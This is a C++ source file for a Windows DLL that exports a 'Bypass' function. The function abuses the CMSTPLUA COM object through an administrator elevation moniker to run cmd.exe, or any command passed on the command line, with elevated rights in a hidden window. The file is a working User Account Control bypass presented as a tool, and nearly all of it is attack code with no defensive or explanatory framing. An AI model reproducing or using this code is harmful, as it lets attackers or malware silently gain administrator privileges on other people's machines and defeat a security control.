#include "BypassUAC.h" #include <string> #include <vector>
std::wstring StringToWString(const std::string& str) { if (str.empty()) return std::wstring(); int size_needed = MultiByteToWideChar(CP_ACP, 0, &str[0], (int)str.size(), NULL, 0); std::wstring wstrTo(size_needed, 0); MultiByteToWideChar(CP_ACP, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed); return wstrTo; }
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv) { BIND_OPTS3 bo; WCHAR wszCLSID[50]; WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0])); HRESULT hr = StringCchPrintfW(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) return hr; memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo); bo.hwnd = hwnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; return CoGetObject(wszMonikerName, &bo, riid, ppv); }
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable, LPWSTR lpwszParameters) { HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil* CMLuaUtil = NULL;
CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (CMLuaUtil) { hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, lpwszParameters, NULL, 0, SW_HIDE); CMLuaUtil->lpVtbl->Release(CMLuaUtil); }
if (FAILED(hr) || GetLastError()) { return FALSE; } else { return TRUE; } }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
extern "C" __declspec(dllexport) void CALLBACK Bypass(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { CoInitialize(NULL);
std::string cmdLine; if (lpszCmdLine != NULL) { cmdLine = lpszCmdLine; }
if (cmdLine.empty()) { CMLuaUtilBypassUAC((LPWSTR)L"cmd.exe", (LPWSTR)L"/k echo Administrator CMD"); } else { std::wstring wInput = StringToWString(cmdLine); std::wstring params = L"/c "; params += wInput; CMLuaUtilBypassUAC((LPWSTR)L"cmd.exe", (LPWSTR)params.c_str()); }
CoUninitialize(); }
|